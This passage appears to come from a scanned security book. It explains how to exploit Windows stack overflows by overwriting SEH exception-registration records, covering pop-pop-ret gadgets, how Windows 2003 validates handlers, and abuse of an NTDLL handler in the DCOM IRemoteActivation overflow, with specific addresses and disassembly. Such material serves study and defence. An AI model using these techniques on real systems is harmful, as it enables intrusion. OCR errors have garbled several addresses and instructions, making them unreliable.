mov dword ptr[eax+esi], edx

is executed, then because we can't have a NULL in the overflow, we need to
ensure that when we overflow this variable, we overflow t with a value such
that EAX+ESI is writable. Otherwise our process will access violate—we want
to avoid this because if it does access violate then the exception handler(s)
will be executed and more than likely the thread or process will be terminated,
and we lose the chance to run our arbitrary code. Now, even if we fix this
problem so that EAX + ESI is writable, we could have many other similar
problems we'll need to fix before the vulnerable function returns. In some
cases this fix may not even be possible. Currently, the method used to get
around the prob-lem is to overwrite the frame-based
EXCEPTION_REGISTRATION structure so that we control the pointer to the
exception handler. When the access violation occurs we gain control of the
process' path of execution: we can set the address of the handler to a block of
code that will get us back into our buffer.

In such a situation, with what do we overwrite the pointer to the handler so
that we can execute any code we put into the buffer? The answer depends on
the platform and service-pack level. On systems such as Windows 2000 and
Windows XP without service packs, the EBX register points to the current
EXCEPTION_REGISTRATION structure; that is, the one we've just
overwrit-ten. So, we would overwrite the pointer to the real exception handler
with an address that executes a jmp ebx or call ebx instruction. This way,
when the "handler" is executed we land in the EXCEPTION_REGISTRATION
structure we've just overwritten. We then need to set what would be the
pointer to the next EXCEPTION_REGISTRATION structure to code that does
a short jmp over the address of where we found our jmp ebx instruction. When
we over-write the EXCEPTION_REGISTRATION structure then we would do
so as depicted in Figure 8.2.
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EBX points here

/

Short JMP over
(and NOP, NOP)

Pointer to address dfjkd
Executes “jmp ebx

Start of real code

A

Figure 8.2. overfd the EXECEPTION_REGISTRATION structure

With Windows 2003 server and windows XP service Pack 1 or higher,
however, this has changed. EBX no longer points to our EXECEPTION _
REGISTRATION structure. In fact, all registers that used to point somewhere
useful are XORed with themselves so they’re all set to 0x00000000 before the
handler is called. Microsoft probably made these changes becaue the Code
Red worn used this mechanism to gain control of IIS Web servers. Here is the
code that actually does this from Windows XPProfessional SP1)

77F79B57 Xor eax,eax

77F79B59 xor eax,eax

77F79B5B Xor esi, esi

77F79B5D Xxor edi, edi

77F79B5F push dword ptr[esp+20h]
77F79B63 push dword ptr[esp+20h]
77F79B67 push dword ptr[esp+20h]
77F79B6B push dword ptr[esp+20h]
77F79B6F push dword ptr[esp+20h]
77F79B73 call 77F79B7E

77F79B78 pop edi

77F79B79 pop esi

T7TF79B7A pop ebx

77F79B7B ret 14h

77F79B7E push ebp

T7TF79B7F mov ebp,esp

77F79B81 push dword ptr[esp+0Ch]
77F79B84 push edx

77F79B85 push dword ptr fs:[0]
77F79B8C mov dword ptr fs:[0],esp
77F79B93 push dword ptr [ebp+14h]
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77F79B96 push dword ptr [ebp+10h]
77F79B99 push dword ptr [ebp+0Ch]
77F79BOC push  dword ptr [ebp+8]
77F79B9F mov ecx,dword ptr [ebp+18h]
77F79BA2 call ecx

Starting at address 0x77F79B57, the EAX, EBX, ESI, and EDI registers are
set to 0 by XORing each register with itself. The next thing of note is the call
instruction at Ox77F79B73; execution continues at address Ox77F79B7E. At
address 0x77F79B9F the pointer to the exception handler is placed into the
ECX register and then it is called.

Even with this change, an attacker can of course still gain control—but
with-out any register pointing to the user-supplied data anymore the attacker
is forced to guess where it can be found. This reduces the chances of the
exploit working successfully.

But is this really the case? If we examine the stack at the moment after the
exception handler is called then we can see that:

ESP = Saved Return Address (Ox77F79BA4)
ESP +4 = Pointer to type of exception(0xC0O000005)
ESP +8 = Address of EXCEPTION_REGISTRATION structure

Instead of overwriting the pointer to the exception handler with an address
that contains a jmp ebx or cal 1 ebx, all we need to do is overwrite with an
address that points to a block of code that executes the following:

pop reg pop reg ret

With each POP instruction the ESP increases by 4, and so when the RET
exe-cutes, ESP points to the user-supplied data. Remember that RET takes
the address at the top of the stack (ESP) and returns the flow of execution
there. Thus the attacker does not need any register to point to the buffer and
does not need to guess its location.

Where can we find such a block of instructions? Well pretty much any-where,
at the end of every function. As the function tidies up after itself, we will find
the block of instructions we need. Ironically, one of the best locations in which
to find this block of instructions is in the code that clears all the reg-isters at
address Ox77F79B79.

77F79B79 pop esi
T7TF79B7A pop ebx
77F79B7B ret 14h
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The fact that the return is actually a ret 14 makes no difference. This sim-ply
adjusts the ESP register by adding 0x14 as opposed to 0x4. These
instruc-tions bring us back to our EXCEPTION_REGISTRATION structure on
the stack. Again, the pointer to the next EXCEPTION_REGISTRATION
structure will need to be set to code that executes a short jump and two NOPs,
neatly side stepping the address we've set that points to the pop, pop, ret
block.

Ever)' Win32 process and each thread within that process is given at least
one frame-based handler, either at process or thread startup. So when it
comes to exploiting buffer overflows on Windows 2003 Server, abusing
frame-based handlers is one of the methods that can be used to defeat the
new stack pro-tection built into processes running on this platform.

Abusing Frame-Based Exception Handling on Windows 2003 Server

Abusing frame-based exception handling can be used as a generic method
for bypassing the stack protection of Windows 2003. (See the section "Stack
Pro-tection and Windows 2003 Server" for more discussion on this). When an
exception occurs under Windows 2003 Server, the handler set up to deal with
the exception is first checked to see whether it is valid. In this way Microsoft
attempts to prevent exploitation of stack-based buffer overflow vulnerabilities
where frame-based handler information is overwritten; it is hoped that an
attacker can no longer overwrite the pointer to the exception handler and have
it called.

So what determines whether a handler is valid? The code of NTDLL. DLL's
KiUserExceptionDispatcher function does the actual checking. First, the code
checks to see whether the pointer to the handler points to an address on the
stack. This is done by referencing the. Thread Environment Block's entry for
the high and low stack addresses at FS : [4]Jand FS : [ 8 ]. If the handler falls
within this range it will not be called. Thus, an attacker can no longer point the
exception handler directly into their stack-based buffer. If the pointer to the
handler is not equal to a stack address, the pointer is then checked against
the list of loaded modules, including both the executable image and DLLs, to
see whether it falls within the address range of one of these modules. If it
does not, then somewhat bizarrely, the exception handler is considered safe
and is called. If, however, the address does fall into the address range of a
loaded module, it is then checked against a list of registered handlers.

A pointer to the image's PE header is then acquired by calling the Rtl Image
NtHeader function. At this point a check is performed; if the byte 0x5F past the
PF header—the most significant byte of the DLL Characteristics field of the
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PE header—is 0x04, then this module is "not allowed." If the handler is in the
address range of this module, it will not be called. The pointer to the PE
header is then passed as a parameter to the RtlimageDirectoryEntryToData
function. In this case, the directory of interest is the Load Configuration
Direc-tory. The RtlimageDirectoryEntryToData function returns the address
and size of this directory. If a module has no Load Configuration Directory,
then this function returns 0, no further checks are performed, and the handler
is called. If, on the other hand, the module does have a Load Configuration
Directory, the size is examined; if the size of this directory is 0 or less than
0x48, no further checking is performed and the handler is called. Offset 0x40
bytes from the beginning of the Load Configuration Directory is a pointer that
points to a table of Relative Virtual Addresses (RVAs) of registered handlers.
If this pointer is NULL, no further checks are performed and the handler is
called. Offset 0x44 bytes from the beginning of the Load Configuration
Directory is the number of entries in this table. If the number of entries is 0, no
further checks are performed and the handler is called. Providing that all
checks have succeeded, the base address of the load module is subtracted
from the address of the handler, which leaves us with the RVA of the handler.
This RVA is then compared against the list of RVAs in the table of registered
handlers. If a match is found, the handler is called; if it is not found, the
handler is not called.

When it comes to exploiting stack-based buffer overflows on Windows 2003
Server, overwriting the pointer to the exception handler leaves us with several
options:

Abuse an existing handler that we can manipulate to get us back into
our buffer.

Find a block of code in an address not associated with a module that
will get us back to our buffer.

Find a block of code in the address space cf a module that does not
have a Load Configuration Directory.

Using the DCOM IRemoteActivation buffer overflow vulnerability, let's look at
these options.

Abusing an Existing Handler

Address 0x77F45A34 points to a registered exception handler within NTDLL.
DLL. If we examine the code of this handler, we can see that this han-dler can
be abused to run code of our choosing. A pointer to our EXCEPTION_
REGISTRATION structure is located at EBP+OCh.

77F45A3F mov ebx.dword ptr [ebp+0Ch]
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77F45A61 mov esi,dword ptr [ebx+0ch]
77F15A64 mov edi,dword ptr [ebx+8]
77FA5A75 lea ecx,[esi+tesi*2]

7TFA5A78 mov eax, dword ptr [edi +ecx*4+4]
7TFA5ABF call eax

The pointer to our EXCEPTION_REGISTRATION structure is moved into
EBX. The dword value pointed to OxOC bytes past EBX is then moved into
ESI. Because we've overflowed the EXCEPTION_REGI STRATION structure
and beyond it, we control this dword. Consequently, we "own" ESI. Next, the
dword value pointed to 0x08 bytes past EBX is moved into EDI. Again, we
control this. The effective address of ESI + ESI * 2 (equivalent to ESI * 3) is
then loaded into ECX, Because we own ESI we can guarantee the value that
goes into ECX. Then the address pointed to by EDI, which we also own,
added to ECX* 4 + 4, is moved into eax. EAX is then called. Because we
completely control what goes into EDI and ECX (through ESI) we can control
what is moved into EAX, and therefore can direct the process to execute our
code. The only difficulty is finding an address that holds a pointer to our code.
We need to ensure that EDI+ECX*4 + 4 matches this address so that the
pointer to our code is moved into EAX and then called.

The first time svchost is exploited, the location of the Thread Environment
Block (TEB) and the location of the stack are always consistent. Needless to
say, with a busy server, neither of these may be so predictable. Assuming
sta-bility, we could find a pointer to our EXCEPTION_REGISTRATION
structure at TEB+0 (0Ox7FFDBO000) and use this as our location where we can
find a pointer to our code. But, as it happens, just before the exception handler
is called, this pointer is updated and changed, so we cannot use this method.
The EXCEPTION_REGISTRATION structure that TEB+0 does point to,
however, at address 0x005CF3F0,hasa pointer to our
EXCEPTION_REGISTRATION struc-ture, and because the location of the
stack is always consistent the first time the exploit is run, then we can use this.
There's another pointer to our EXCEPTION_ REGISTRATION structure at
address 0x005CF3E4. Assuming we'll use this latter address if we set 0xOc
past our EXCEPTION_REGISTRATION structure to 0x40001554 (this will go
into ESI) and 0x08 bytes past it to 0x005BF3F0 (this will go into edi), then
after all the multiplication and addition we're left with OxO05CF3E4. The
address pointed to by this is moved into EAX and called. On EAX being called
we land in our EXCEPTION_REGISTRATION struc-ture at what would be the
pointer to the next EXCEPTION_REGISTRATION structure. It we put code in
here that performs a short jmp 14 bytes from the
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current location then we jump over the junk we've needed to set to get
execu-tion to this point.

We've tested this on four machines running Windows 2003 Server, three of
which were Enterprise Edition and the fourth a Standard Edition. All were
successfully exploited. We do need to be certain, however, that we are
running the exploit for the first time—otherwise it's more than likely to fail. As a
side note, this exception handler is probably supposed to deal with Vectored
handlers and not frame-based handlers, which is why we can abuse it in this
fashion.

Some of the other modules have the same exception handler and can also
beused. Other registered exception handlers in the address space typically
for-ward to except_handler3 exported by msvcrt.dll or some otherequivalent.

Find a block of code in an address not associated with a module that
will get us back to our buffer

As with other versions of Windows, at ESP + 8 we can find a pointer to our
EXCEPTION_REGISTRATION structure. So, if we could find a
pop reg pop reg ret

instruction block at an address that is not associated with any loaded
module, this would do fine. In every process, at address 0x7FFCOACS5 on a
computer running Windows 2003 Server Enterprise Edition, we can find such
an instruc-tion block. Because this address is not associated with any module,
this "han-dler" would be considered safe to call under the current security
checking and would be executed. There is a problem, however. Although |
have a pop, pop, ret instruction block close to this address on my Windows
2003 Server Stan-dard Edition running on a different computer—it's not in the
same location. Because we can't guarantee the location of this pop, pop, ret
instruction block, using it is not an advisable option. Rather than just looking
for a pop, pop, ret instruction block we could look for:

call dword ptr[esp+8]

or, alternatively:
Jjmp dword ptr[esp+8]

in the address space of the vulnerable process. As it happens, no such
instruc-tion at a suitable address exists, but one of the things about exception
handling
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is that we can 